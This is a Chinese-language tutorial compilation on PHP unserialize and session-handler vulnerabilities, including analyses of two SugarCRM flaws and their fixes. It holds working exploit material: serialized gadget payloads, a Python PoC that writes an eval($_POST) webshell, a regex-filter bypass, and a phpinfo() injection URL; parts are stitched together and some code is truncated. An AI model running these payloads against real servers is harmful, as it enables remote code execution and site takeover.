PHP中SESSION反序列化机制详解
简介
在php.ini中存在三项配置项:
session.save_path="" --设置session的存储路径
session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start boolen --指定会话模块是否在请求开始时启动一个会话,默认为0不启动
session.serialize_handler string --定义用来序列化/反序列化的处理器名字。默认使用php
以上的选项就是与PHP中的Session存储和序列话存储有关的选项。
在使用xampp组件安装中,上述的配置项的设置如下:
session.save_path="D:\xampp\tmp" 表明所有的session文件都是存储在xampp/tmp下
session.save_handler=files 表明session是以文件的方式来进行存储的
session.auto_start=0 表明默认不启动session
session.serialize_handler=php 表明session的默认序列话引擎使用的是php序列话引擎
在上述的配置中,session.serialize_handler是用来设置session的序列话引擎的,除了默认的PHP引擎之外,还存在其他引擎,不同的引擎所对应的session的存储方式不相同。
php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
php:存储方式是,键名+竖线+经过serialize()函数序列处理的值
php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值
在PHP中默认使用的是PHP引擎,如果要修改为其他的引擎,只需要添加代码ini_set('session.serialize_handler', '需要设置的引擎');。示例代码如下:
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
// do something
存储机制
php中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。
存储的文件是以sess_sessionid来进行命名的,文件的内容就是session值的序列话之后的内容。
假设我们的环境是xampp,那么默认配置如上所述。
在默认配置情况下:
<?php
session_start()
$_SESSION['name'] = 'spoock';
var_dump();
?>
最后的session的存储和显示如下:
可以看到PHPSESSID的值是jo86ud4jfvu81mbg28sl2s56c2,而在xampp/tmp下存储的文件名是sess_jo86ud4jfvu81mbg28sl2s56c2,文件的内容是name|s:6:"spoock";。name是键值,s:6:"spoock";是serialize("spoock")的结果。
在php_serialize引擎下:
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['name'] = 'spoock';
var_dump();
?>
SESSION文件的内容是a:1:{s:4:"name";s:6:"spoock";}。a:1是使用php_serialize进行序列话都会加上。同时使用php_serialize会将session中的key和value都会进行序列化。
在php_binary引擎下:
<?php
ini_set('session.serialize_handler', 'php_binary');
session_start();
$_SESSION['name'] = 'spoock';
var_dump();
?>
SESSION文件的内容是names:6:"spoock";。由于name的长度是4,4在ASCII表中对应的就是EOT。根据php_binary的存储规则,最后就是names:6:"spoock";。(突然发现ASCII的值为4的字符无法在网页上面显示,这个大家自行去查ASCII表吧)
序列化简单利用
test.php
<?php
class syclover{
var $func="";
function __construct() {
$this->func = "phpinfo()";
}
function __wakeup(){
eval($this->func);
}
}
unserialize($_GET['a']);
?>
在11行对传入的参数进行了序列化。我们可以通过传入一个特定的字符串,反序列化为syclover的一个示例,那么就可以执行eval()方法。我们访问localhost/test.php?a=O:8:"syclover":1:{s:4:"func";s:14:"echo "spoock";";}。那么反序列化得到的内容是:
object(syclover)[1]
public 'func' => string 'echo "spoock";' (length=14)
最后页面输出的就是spoock,说明最后执行了我们定义的echo "spoock";方法。
这就是一个简单的序列化的漏洞的演示
PHP Session中的序列化危害
PHP中的Session的实现是没有的问题,危害主要是由于程序员的Session使用不当而引起的。
如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确第反序列化。通过精心构造的数据包,就可以绕过程序的验证或者是执行一些系统的方法。例如:
$_SESSION['ryat'] = '|O:11:"PeopleClass":0:{}';
上述的$_SESSION的数据使用php_serialize,那么最后的存储的内容就是a:1:{s:6:"spoock";s:24:"|O:11:"PeopleClass":0:{}";}。
但是我们在进行读取的时候,选择的是php,那么最后读取的内容是:
array (size=1)
'a:1:{s:6:"spoock";s:24:"' =>
object(__PHP_Incomplete_Class)[1]
public '__PHP_Incomplete_Class_Name' => string 'PeopleClass' (length=11)
这是因为当使用php引擎的时候,php引擎会以|作为作为key和value的分隔符,那么就会将a:1:{s:6:"spoock";s:24:"作为SESSION的key,将O:11:"PeopleClass":0:{}作为value,然后进行反序列化,最后就会得到PeopleClas这个类。
这种由于序列话化和反序列化所使用的不一样的引擎就是造成PHP Session序列话漏洞的原因。
实际利用
存在s1.php和us2.php,2个文件所使用的SESSION的引擎不一样,就形成了一个漏洞、
s1.php,使用php_serialize来处理session
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["spoock"]=$_GET["a"];
us2.php,使用php来处理session
ini_set('session.serialize_handler', 'php');
session_start();
class lemon {
var $hi;
function __construct(){
$this->hi = 'phpinfo();';
}
function __destruct() {
eval($this->hi);
}
}
当访问s1.php时,提交如下的数据:
localhost/s1.php?a=|O:5:"lemon":1:{s:2:"hi";s:14:"echo "spoock";";}
此时传入的数据会按照php_serialize来进行序列化。
此时访问us2.php时,页面输出,spoock成功执行了我们构造的函数。因为在访问us2.php时,程序会按照php来反序列化SESSION中的数据,此时就会反序列化伪造的数据,就会实例化lemon对象,最后就会执行析构函数中的eval()方法。
CTF
在安恒杯中的一道题目就考察了这个知识点。题目中的关键代码如下:
class.php
<?php
highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));
//show_source(__FILE__);
class foo1{
public $varr;
function __construct(){
$this->varr = "index.php";
}
function __destruct(){
if(file_exists($this->varr)){
echo "<br>文件".$this->varr."存在<br>";
}
echo "<br>这是foo1的析构函数<br>";
}
}
class foo2{
public $varr;
public $obj;
function __construct(){
$this->varr = '1234567890';
$this->obj = null;
}
function __toString(){
$this->obj->execute();
return $this->varr;
}
function __desctuct(){
echo "<br>这是foo2的析构函数<br>";
}
}
class foo3{
public $varr;
function execute(){
eval($this->varr);
}
function __desctuct(){
echo "<br>这是foo3的析构函数<br>";
}
}
?>
index.php
<?php
ini_set('session.serialize_handler', 'php');
require("./class.php");
session_start();
$obj = new foo1();
$obj->varr = "phpinfo.php";
?>
通过代码发现,我们最终是要通过foo3中的execute来执行我们自定义的函数。
那么我们首先在本地搭建环境,构造我们需要执行的自定义的函数。如下:
myindex.php
<?php
class foo3{
public $varr='echo "spoock";';
function execute(){
eval($this->varr);
}
}
class foo2{
public $varr;
public $obj;
function __construct(){
$this->varr = '1234567890';
$this->obj = new foo3();
}
function __toString(){
$this->obj->execute();
return $this->varr;
}
}
class foo1{
public $varr;
function __construct(){
$this->varr = new foo2();
}
}
$obj = new foo1();
print_r(serialize($obj));
?>
在foo1中的构造函数中定义$varr的值为foo2的实例,在foo2中定义$obj为foo3的实例,在foo3中定义$varr的值为echo "spoock"。最终得到的序列话的值是
O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:14:"echo "spoock";";}}}
这样当上面的序列话的值写入到服务器端,然后再访问服务器的index.php,最终就会执行我们预先定义的echo "spoock";的方法了。
写入的方式主要是利用PHP中Session Upload Progress来进行设置,具体为,在上传文件时,如果POST一个名为PHP_SESSION_UPLOAD_PROGRESS的变量,就可以将filename的值赋值到session中,上传的页面的写法如下:
<form action="index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>
最后就会将文件名写入到session中,具体的实现细节可以参考PHP手册。
那么最终写入的文件名是|O:4:\"foo1\":1:{s:4:\"varr\";O:4:\"foo2\":2:{s:4:\"varr\";s:1:\"1\";s:3:\"obj\";O:4:\"foo3\":1:{s:4:\"varr\";s:12:\"var_dump(1);\";}}}。注意与本地反序列化不一样的地方是要在最前方加上|
但是我在进行本地测试的时候,发现无法实现安恒这道题目所实现的效果,但是最终的原理是一样的。
总结
通过对PHP中的SESSION的分析,对PHP中的SESSION的实现原理有了更加深刻的认识。这个PHP的SESSION问题也是一个很好的问题。上述的这篇文章不仅使大家PHP中的SESSION的序列化漏洞有一个认识,也有助于程序员加强在PHP中的SESSION机制的理解。
对象注入是一个什么样的概念我们在开发程序是对于对象用到的非常的多了,那么对象注入是一个什么样的注入方式了,下面一起来了解一下.前提知识
在php类中可能会存在一些叫做魔术函数(magic 函数),这些函数会在类进行某些事件的时候自动触发,例如__construct()会在一个对象被创建时调用,__destruct()会在一个对象销毁时调用,__toString当对象被当做一个字符串的时候被调用。常见的魔术函数有__construct()、__destruct()、__toString()、__sleep()、__wakeup()。
举例如下:
代码如下 | 复制代码 |
<?php $obj = new test(); //实例化对象,调用__construct()方法,输出__construct |
原理
为什么会用到序列话这样的方法?主要就是就是方便进行数据的传输,并且数据恢复之后,数据的属性还不会发生变化。例如,将一个对象反序列化之后,还是保存了这个对象的所有的信息。同时还可以将序列化的值保存在文件中,这样需要用的时候就可以直接从文件中读取数据然后进行反序列化就可以了。在PHP使用serialize()和unserialize()来进行序列化和反序列化的。
而序列化的危害就在于如果序列化的内容是用户可控的,那么用户就可以注入精心构造的payload。当进行发序列化的时候就有可能会出发对象中的一些魔术方法,造成意想不到的危害。
对象注入
本质上serialize()和unserialize()在PHP内部实现上是没有漏洞的,漏洞的主要产生是由于应用程序在处理对象、魔术函数以及序列化相关问题的时候导致的。
如果在一个程序中,一个类用于临时将日志存储进某个文件中,当__destruct()方法被调用时,日志文件被删除。代码大致如下:
logfile.php
代码如下 | 复制代码 |
<?php public function __destruct() { |
在其他类中使用LogClass
logLogin.php
代码如下 | 复制代码 |
<?php include "index.php"; $obj = new LogClass(); $obj->logfilename = "login.log"; $obj->logdata('记录日志'); ?> |
上面的这段代码就是一个正常的使用LogClass类来完成日志记录的功能。
下面显示的是存在对象注入漏洞的使用例子。
news.php
代码如下 | 复制代码 |
<?php // 从用户接受输入发序列化为User对象 |
上面显示的代码使用了LogClass对象同时还会从用户那里接受输入进行发序列化转化为一个User对象。
当我们提交如下的数据
news.php?user=O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John”;}
这样的语句是可以正常使用的,也是程序员希望使用的方法。
但是如果提交的数据为:
news.php?user=O:8:"LogClass":1:{s:11:"logfilename";s:9:".htaccess";}
那么最后就会输出delete .htaccess。
可以看到通过构造的数据,导致执行了LogClass中的__destruct()方法然后删除了网站中重要的配置文件。
从上面这个例子也可以看出来,如果没有严格控制用户的输入同时对用户的输入进行了反序列化的操作,那么就有可能会实现代码执行的漏洞。
注入点
PHP对象注入一般在处在程序的逻辑上面。例如一个User类定义了__toString()用来进行格式化输出,但是也存在File类定义了__toString()方法读取文件内容然后进行显示,那么攻击者就有可能通过User类的反序列化构造一个File类来读取网站的配置文件。
user.php
代码如下 | 复制代码 |
<?php class UserClass { $obj = unserialize($_GET['usr']); |
正常情况下我们应该传入UserClass序列化的字符串,例如user.php?usr=O:9:"UserClass":2:{s:3:"age";i:18;s:4:"name";s:3:"Tom";},页面最后就会输出User Tom is 18 years old.。这也是一个理想的使用方法。
但是如果我们传入的数据为user.php?usr=O:9:"FileClass":1:{s:8:"filename";s:10:"config.php";},页面最后的输出是filename发生了变化==>config.php,执行了FileClass中的__toString()方法。
这样就可以读取到config.php中的源代码了。
漏洞挖掘
这类洞一般都是很难挖掘的,虽然显示看起来很简单,但实际上需要的条件还是相当的苛刻的,而且找对象注入的漏洞一般都是通过审计源代码的方式来进行寻找,看unserialize()的参数是否是可控的,是否存在反序列化其他参数对象的可能。
防御
要对程序中的各种边界条件进行测试
避免用户对于unserialize()参数是可控的,可以考虑使用json_decode方法来进行传参。
serialize — Generates a storable representation of a value
serialize — 产生一个可存储的值的表示
unserialize — Creates a PHP value from a stored representation
unserialize — 从已存储的表示中创建 PHP 的值
<?php
//声明一个类
class dog {
var $name;
var $age;
var $owner;
function dog($in_name="unnamed",$in_age="0",$in_owner="unknown") {
$this->name = $in_name;
$this->age = $in_age;
$this->owner = $in_owner;
}
function getage() {
return ($this->age * 365);
}
function getowner() {
return ($this->owner);
}
function getname() {
return ($this->name);
}
}
//实例化这个类
$ourfirstdog = new dog("Rover",12,"Lisa and Graham");
//用serialize函数将这个实例转化为一个序列化的字符串
$dogdisc = serialize($ourfirstdog);
print $dogdisc; //$ourfirstdog 已经序列化为字符串 O:3:"dog":3:{s:4:"name";s:5:"Rover";s:3:"age";i:12;s:5:"owner";s:15:"Lisa and Graham";}
print '<BR>';
/*
-----------------------------------------------------------------------------------------
在这里你可以将字符串 $dogdisc 存储到任何地方如 session,cookie,数据库,php文件
-----------------------------------------------------------------------------------------
*/
//我们在此注销这个类
unset($ourfirstdog);
/* 还原操作 */
/*
-----------------------------------------------------------------------------------------
在这里将字符串 $dogdisc 从你存储的地方读出来如 session,cookie,数据库,php文件
-----------------------------------------------------------------------------------------
*/
//我们在这里用 unserialize() 还原已经序列化的对象
$pet = unserialize($dogdisc); //此时的 $pet 已经是前面的 $ourfirstdog 对象了
//获得年龄和名字属性
$old = $pet->getage();
$name = $pet->getname();
//这个类此时无需实例化可以继续使用,而且属性和值都是保持在序列化之前的状态
print "Our first dog is called $name and is $old days old<br>";
print '<BR>';
?>
__wakeup()函数用法
__wakeup()是用在反序列化操作中。unserialize()会检查存在一个__wakeup()方法。如果存在,则先会调用__wakeup()方法。
<?php
class A{
function __wakeup(){
echo 'Hello';
}
}
$c = new A();
$d=unserialize('O:1:"A":0:{}');
?>
最后页面输出了Hello。在反序列化的时候存在__wakeup()函数,所以最后就会输出Hello
__wakeup()函数漏洞说明
<?php
class Student{
public $full_name = 'zhangsan';
public $score = 150;
public $grades = array();
function __wakeup() {
echo "__wakeup is invoked";
}
}
$s = new Student();
var_dump(serialize($s));
?>
最后页面上输出的就是Student对象的一个序列化输出,
O:7:"Student":3:{s:9:"full_name";s:8:"zhangsan";s:5:"score";i:150;s:6:"grades";a:0:{}}。其中在Stuedent类后面有一个数字3,整个3表示的就是Student类存在3个属性。
__wakeup()漏洞就是与整个属性个数值有关。当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。
当我们将上述的序列化的字符串中的对象属性修改为5,变为
O:7:"Student":5:{s:9:"full_name";s:8:"zhangsan";s:5:"score";i:150;s:6:"grades";a:0:{}}。
最后执行运行的代码如下:
class Student{
public $full_name = 'zhangsan';
public $score = 150;
public $grades = array();
function __wakeup() {
echo "__wakeup is invoked";
}
function __destruct() {
var_dump($this);
}
}
$s = new Student();
$stu = unserialize('O:7:"Student":5:{s:9:"full_name";s:8:"zhangsan";s:5:"score";i:150;s:6:"grades";a:0:{}}');
可以看到这样就成功地绕过了__wakeup()函数。
案例
SugarCms存在一个很经典的__wakup()函数绕过的漏洞,网上也有分析文章。但是我发现网上的文章都是针对于6.5.23版本的,我后来有研究了6.5.22的版本。从这个版本的迭代中,可以看到程序员的防御思维,很值得我们研究和学习。由于在分析的过程中会按照代码审计的思路,会对其中重要的函数都会进行跟踪,所以整个分析看起来会比较的复杂和??拢??庹?霾街瓒际腔乖?舜?肷蠹浦械牟街琛?br /> 我们先从6.5.22版本开始分析。
找到反序列化语句
在service/core/REST/SugarRestSerialize.php中的SugarRestSerialize类中的server()方法代码如下:
function serve(){
$GLOBALS['log']->info('Begin: SugarRestSerialize->serve');
$data = !empty($_REQUEST['rest_data'])? $_REQUEST['rest_data']: '';
if(empty($_REQUEST['method']) || !method_exists($this->implementation, $_REQUEST['method'])){
$er = new SoapError();
$er->set_error('invalid_call');
$this->fault($er);
}else{
$method = $_REQUEST['method'];
$data = unserialize(from_html($data));
if(!is_array($data))$data = array($data);
$GLOBALS['log']->info('End: SugarRestSerialize->serve');
return call_user_func_array(array( $this->implementation, $method),$data);
} // else
} // fn
其中存在$data = unserialize(from_html($data))这样的序列化语句,而且$data是由$data = !empty($_REQUEST['rest_data'])? $_REQUEST['rest_data']: ''得到的,是我们可控的。那么就说明我们是可以控制反序列化的内容的。
寻找利用点
在找到了序列化语句之后,我们需要找到在哪些对象中可以利用这个反序列化语句。
在include/SugarCache/SugarCacheFile.php中的存在SugarCacheFile类以及__destruct()方法和__wakeup()方法。
public function __destruct()
{
parent::__destruct();
if ( $this->_cacheChanged )
sugar_file_put_contents(sugar_cached($this->_cacheFileName), serialize($this->_localStore));
}
/**
* This is needed to prevent unserialize vulnerability
*/
public function __wakeup()
{
// clean all properties
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
throw new Exception("Not a serializable object");
}
我们发现,__wakeup()会将传入的对象的所有属性全部清空,__destruct()则主要调用sugar_file_put_contents()函数将serialize($this->_localStore)写入文件。
跟进sugar_file_put_contents(),在include/utils/sugar_file_utils.php中,
function sugar_file_put_contents($filename, $data, $flags=null, $context=null){
//check to see if the file exists, if not then use touch to create it.
if(!file_exists($filename)){
sugar_touch($filename);
}
if ( !is_writable($filename) ) {
$GLOBALS['log']->error("File $filename cannot be written to");
return false;
}
if(empty($flags)) {
return file_put_contents($filename, $data);
} elseif(empty($context)) {
return file_put_contents($filename, $data, $flags);
} else{
return file_put_contents($filename, $data, $flags, $context);
}
}
我们发现sugar_file_put_contents()函数并没有对文件进行限制,而SugarCacheFile类调用的__destruct中,$data的值就是serialize($this->_localStore)。所以我们只需要出入一个SugarCacheFile类的对象并设置其属性,这样我们就可以写入一个文件或者是一句话木马。
但是由于在SugarCacheFile中存在__wakeup()函数会将对象的所有属性全部清空,所以我们必须要绕过这个函数,那么就需要利用__wakeup()的漏洞了。
利用
通过上面的分析,我们可以总结出我们的数据整个的传输流程:
$_REQUEST['rest_data']->unserialize(from_html($data))-> __destruct()->sugar_file_put_contents->一句话木马
在确定了数据传输流程之后,就需要找到一个这样的环境或者是文件。这个文件调用了SugarRestSerialize.php的serve()方法,并且include文件SugarCacheFile.php文件。
一下就是简要的分析过程。
在service/v4/rest.php
chdir('../..');
require_once('SugarWebServiceImplv4.php');
$webservice_class = 'SugarRestService';
$webservice_path = 'service/core/SugarRestService.php';
$webservice_impl_class = 'SugarWebServiceImplv4';
$registry_class = 'registry';
$location = '/service/v4/rest.php';
$registry_path = 'service/v4/registry.php';
require_once('service/core/webservice.php');
我们发现$webservice_class定义为SugarRestService。
跟踪其中的service/core/webservice.php
ob_start();
chdir(dirname(__FILE__).'/../../');
require('include/entryPoint.php');
require_once('soap/SoapError.php');
require_once('SoapHelperWebService.php');
require_once('SugarRestUtils.php');
require_once($webservice_path);
require_once($registry_path);
if(isset($webservice_impl_class_path))
require_once($webservice_impl_class_path);
$url = $GLOBALS['sugar_config']['site_url'].$location;
$service = new $webservice_class($url);
$service->registerClass($registry_class);
$service->register();
$service->registerImplClass($webservice_impl_class);
// set the service object in the global scope so that any error, if happens, can be set on this object
global $service_object;
$service_object = $service;
$service->serve();
其中的关键代码部分是:
$service = new $webservice_class($url);
其中的$webservice_class就是在service/v4/rest.php中定义的,为SugarRestService。
跟踪service/core/SugarRestService.php,发现
在57行的_getTypeName()函数中有
protected function _getTypeName($name)
{
if(empty($name)) return 'SugarRest';
$name = clean_string($name, 'ALPHANUM');
$type = '';
switch(strtolower($name)) {
case 'json':
$type = 'JSON';
break;
case 'rss':
$type = 'RSS';
break;
case 'serialize':
$type = 'Serialize';
break;
}
$classname = "SugarRest$type";
if(!file_exists('service/core/REST/' . $classname . '.php')) {
return 'SugarRest';
}
return $classname;
}
function __construct($url){
$GLOBALS['log']->info('Begin: SugarRestService->__construct');
$this->restURL = $url;
$this->responseClass = $this->_getTypeName(@$_REQUEST['response_type']);
$this->serverClass = $this->_getTypeName(@$_REQUEST['input_type']);
$GLOBALS['log']->info('SugarRestService->__construct serverclass = ' . $this->serverClass);
require_once('service/core/REST/'. $this->serverClass . '.php');
$GLOBALS['log']->info('End: SugarRestService->__construct');
} // ctor
当传入的参数为Serialize,最后就会返回SugarRestSerialize字符串,最后就会在构造函数中构造出SugarRestSerialize类。
在86行的构造函数serve()中有
function serve(){
$GLOBALS['log']->info('Begin: SugarRestService->serve');
require_once('service/core/REST/'. $this->responseClass . '.php');
$response = $this->responseClass;
$responseServer = new $response($this->implementation);
$this->server->faultServer = $responseServer;
$responseServer->faultServer = $responseServer;
$responseServer->generateResponse($this->server->serve());
$GLOBALS['log']->info('End: SugarRestService->serve');
} // fn
在serve()函数中就会执行在__construct构造出来的SugarRestSerialize类了。
最后我们就要正在在webservice.php中引用了SugarCacheFile.php文件。
在webservice.php使用get_included_files()函数来进行得到所引用的所有的文件,最后发现引入了SugarCache.php,而SugarCache.php引入了SugarCacheFile.php,那么最后就相当于webservice.php引入了SugarCacheFile.php。
分析到这里,那么webservice.php就满足了上面所说的
这个文件调用了SugarRestSerialize.php的serve()方法,并且include文件SugarCacheFile.php文件。
那个要求了。
其中最关键的地方就是序列话语句的构造。
我们在本地运行如下的代码:
<?php
class SugarCacheFile
{
protected $_cacheFileName = '../custom/1.php';
protected $_localStore = array("<?php eval(\$_POST['bdw']);?>");
protected $_cacheChanged = true;
}
$scf = new SugarCacheFile();
var_dump(serialize($scf));
?>
最后页面输出的结果是
O:14:"SugarCacheFile":3:{s:17:"�*�_cacheFileName";s:15:"../custom/1.php";s:14:"�*�_localStore";a:1:{i:0;s:28:"<?php eval($_POST['bdw']);?>";}s:16:"�*�_cacheChanged";b:1;}
为什么使用var_dump的时候会出现无法显示的字符?这个字符就是\x0,即在php中的chr(0)字符。这个字符在页面上是无法显示的。出现这个字符的原因是和PHP的序列化的实现机制有关,这次就不做说明了。所以实际上的,序列化之后的结果应该是:
1
O:14:"SugarCacheFile":3:{s:17:"\x0*\x0_cacheFileName";s:15:"../custom/1.php";s:14:"\x0*\x0_localStore";a:1:{i:0;s:26:"<?php eval($_POST['1']);?>";}s:16:"\x0*\x0_cacheChanged";b:1;}
其中的\x0并不是\x、x、0三个字符,而是chr(0)一个字符。
得到序列化需要的字符串之后,那需要进行提交最后的PoC。
Poc Demo如下:
import requests
url = "http://localhost/sugar/service/v4/rest.php"
data = {
'method':'login',
'input_type':'Serialize',
'rest_data':'O:14:"SugarCacheFile":4:{S:17:"\\00*\\00_cacheFileName";S:15:"../custom/1.php";S:14:"\\00*\\00_localStore";a:1:{i:0;S:26:"<?php eval($_POST[\'1\']);?>";}S:16:"\\00*\\00_cacheChanged";b:1;}'
}
requests.post(url,data=data)
在上述的payload中有几点需要注意的问题,首先要修改掉序列化中的属性值来绕过__wakeup()函数,其次在Python中,chr(0)的表示方法是\\00。
最后就会在custom目录下得到1.php,木马的内容就是a:1:{i:0;s:26:"<?php eval($_POST['1']);?>";}
最后使用中国菜刀就可以顺利连上木马。
自此漏洞就基本分析完毕。
5.6.23版本
在22版本中,serve()方法是直接使用的unserialize()方法来进行的序列化,$data = unserialize(from_html($data))。
在24中的代码为:
function serve(){
$GLOBALS['log']->info('Begin: SugarRestSerialize->serve');
$data = !empty($_REQUEST['rest_data'])? $_REQUEST['rest_data']: '';
if(empty($_REQUEST['method']) || !method_exists($this->implementation, $_REQUEST['method'])){
$er = new SoapError();
$er->set_error('invalid_call');
$this->fault($er);
}else{
$method = $_REQUEST['method'];
$data = sugar_unserialize(from_html($data));
if(!is_array($data))$data = array($data);
$GLOBALS['log']->info('End: SugarRestSerialize->serve');
return call_user_func_array(array( $this->implementation, $method),$data);
} // else
} // fn
其中将$data = unserialize(from_html($data))变为了$data = sugar_unserialize(from_html($data));。
跟踪sugar_unserialize()方法,
在include/utils.php类有sugar_unserialize方法,
function sugar_unserialize($value)
{
preg_match('/[oc]:\d+:/i', $value, $matches);
if (count($matches)) {
return false;
}
return unserialize($value);
}
可以看对序列化的字符串进行了过滤,其实主要过滤的就是禁止Object类型被反序列化。虽然这样看起是没有问题的,但是由于PHP的一个BUG,导致仍然可以被绕过。只需要在对象长度前添加一个+号,即o:14->o:+14,这样就可以绕过正则匹配。关于这个BUG的具体分析,可以参见php反序列unserialize的一个小特性。
最后的PoC就是
import requests
url = "http://localhost/sugar/service/v4/rest.php"
data = {
'method':'login',
'input_type':'Serialize',
'rest_data':'O:+14:"SugarCacheFile":4:{S:17:"\\00*\\00_cacheFileName";S:15:"../custom/1.php";S:14:"\\00*\\00_localStore";a:1:{i:0;S:26:"<?php eval($_POST[\'1\']);?>";}S:16:"\\00*\\00_cacheChanged";b:1;}'
}
requests.post(url,data=data)
修复
这个漏洞是知道5.6.24版本才进行修复的,修复的方式也是十分的简单。
在这个版本中,上述的PoC已经不能够使用了。以下是修复代码。
在include/utils.php类有sugar_unserialize方法,
function sugar_unserialize($value)
{
preg_match('/[oc]:[^:]*\d+:/i', $value, $matches);
if (count($matches)) {
return false;
}
return unserialize($value);
}
可以看到,正则表达式已经变为/[oc]:[^:]*\d+:/i,那么通过+好来进行绕过的方式已经不适用了,这样就修复了这个漏洞了。
总结
在我本地执行的,其中有一个非常关键的地方在于,需要将payload中的序列化字符串中的s改为S,否则同样无法执行成功。当然我也和别人讨论一下,有的人大小写都可以,有的人一定要用大写。
可以看到最后的方法就是使用正则表达式/[oc]:[^:]*\d+:/i来禁止反序列化Object对象,但是序列化本质的作用就是传输对象数据,如果是其他的数据其实就使用传输了,所以不知道在SugarCRM中禁止传输Object对象却允许传输其他类型的数据有何意义?
最后还要感谢Bendwang的指点,解答了我的很多问题。
这篇文章准备通过通过请求语句来看传入的数据在代码中流向,这样或许更方便来理解这个漏洞
http://[host]/[sugar]/index.php?module=Connectors&action=RunTest&source_id=ext_rest_insideview&ext_rest_insideview_[%27.phpinfo().%27]=1
最后的效果就是程序会执行phpinfo()函数。
流程分析
入口函数action_RunTest()
当访问POC时,程序会进入到modules/Connectors/controller.php中的action_RunTest()函数中。
其中的source_id就是PoC中传入的ext_rest_insideview,至于为什么会传入这个,之后的分析会讲到。
SourceFactory::getSource()
跟踪SourceFactory::getSource()函数,进入include/connectors/sources/SourceFactory.php
发现在其中调用了ConnectorFactory::load()方法,其中的$class就是传入的ext_rest_insideview
load()
跟踪ConnectorFactory::load()函数,进入include/connectors/ConnectorFactory.php。发现load()函数又调用loadClass()函数。
在loadClass()函数中,会尝试导入一个文件,导入的格式就是.../connectors/{$type}/{$dir}/$file。其中$type是传入的sources,$dir是将$class(在本PoC中为ext_rest_insideview)字符串中的_替换为/的一个路径,所以最后$dir的值为ext/rest/insideview,这个在图片上也有显示,$file就是路径的最后一个值insideview.php。最后程序就会尝试去寻找对应的文件,如果没有找到就会报错。
所以Poc中的source_id=ext_rest_insideview并不能随便写为任意值。假若写为source_id=a_b_c,那么在执行loadClass()的时候无法找到文件导致程序无法往下执行,那么payload就无用了。
setsetProperties()
在对loadClass()分析完毕之后,最后回到入口函数action_RunTest()。
程序往下执行进入到setProperties()方法中。
其中的foreach()就会对传入值赋值到$properties中,最后得到的$properties的值如左边的图所示,即为
[''][''.phpinfo().''] = '1';。
跟踪setProperties(),进入include/connectors/sources/default/source.php,setProperties()代码如下:
public function setProperties($properties=array())
{
if(!empty($this->_config) && isset($this->_config['properties'])) {
$this->_config['properties'] = $properties;
$this->config_decrypted = true; // Don't decrypt external configs
}
}
那么最后,得到在config中得到就是:
$config['properties'][''][''.phpinfo().''] = '1';
saveConfig()
对setProperties()分析完毕之后,回到入口函数action_RunTest()。
程序继续往下执行,进入到saveConfig()中。
其中关键的地方就在于将变量$this_config中的键值对,调用override_value_to_string_recursive2()函数变为一个字符串。
override_value_to_string_recursive2()
跟踪override_value_to_string_recursive2(),进入到include/utils/array_utils.php中。
function override_value_to_string_recursive2($array_name, $value_name, $value, $save_empty = true) {
if (is_array($value)) {
$str = '';
$newArrayName = $array_name . "['$value_name']";
foreach($value as $key=>$val) {
$str.= override_value_to_string_recursive2($newArrayName, $key, $val, $save_empty);
}
return $str;
} else {
if(!$save_empty && empty($value)){
return;
}else{
return "\$$array_name" . "['$value_name'] = " . var_export($value, true) . ";\n";
}
}
}
可以看到这就是一个普通的将一个数组类型的变量转化为一个字符串,最后$this_conifg变为:
<?php
/***CONNECTOR SOURCE***/
$config['name'] = 'InsideView©';
$config['order'] = 65;
$config['properties'][''][''.phpinfo().''] = '1';
这个赋值给变量$config_str
PoC执行
回到saveConfig()函数中,程序最后执行
file_put_contents("custom/modules/Connectors/connectors/sources/{$dir}/config.php", $config_str);
其中的$dir为ext/rest/insideview,那么最后程序就会在custom/modules/Connectors/connectors/sources/ext/rest/insideview/config.php写入$config_str的值,最后就会触发其中的phpinfo()函数,导致代码执行。
最后在config.php中写入的代码是:
<?php
$config = array (
'name' => 'InsideView©',
'order' => 65,
'properties' => array (
),
);
自此漏洞就分析完毕了
修复
修复方法很简单,在override_value_to_string_recursive2()函数中进行修复
function override_value_to_string_recursive2($array_name, $value_name, $value, $save_empty = true) {
$quoted_vname = var_export($value_name, true);
if (is_array($value)) {
$str = '';
$newArrayName = $array_name . "[$quoted_vname]";
foreach($value as $key=>$val) {
$str.= override_value_to_string_recursive2($newArrayName, $key, $val, $save_empty);
}
return $str;
} else {
if(!$save_empty && empty($value)){
return;
}else{
return "\$$array_name" . "[$quoted_vname] = " . var_export($value, true) . ";\n";
}
}
}
修复的代码就是使用了var_export()函数对$value_name变量进行了字符串的表示。这样写之后,最终得到$config_str的值是
<?php
/***CONNECTOR SOURCE***/
$config['name'] = 'InsideView©';
$config['order'] = 65;
$config['properties']['']['\'.phpinfo().\''] = '1';
上面的代码就可以正常地写入到文件中,不会触发代码执行了。
总结
通过分步调试的方法,能够对这个漏洞理解得更加的透彻,通过这个漏洞也增加了自己调试漏洞的能力。
相关文章
PHP session_start()很慢问题分析与解决办法
本文章来给各位同学介绍一下关于PHP session_start()很慢问题分析与解决办法,希望碰到此问题的同学可进入参考。 最近在做东西的时候发现一个问题 有一个接口挂...2016-11-25Jackson反序列化@JsonFormat 不生效的解决方案
这篇文章主要介绍了Jackson反序列化@JsonFormat 不生效的解决方案,具有很好的参考价值,希望对大家有所帮助。如有错误或未考虑完全的地方,望不吝赐教...2021-08-10PHP分布式框架如何使用Memcache同步SESSION教程
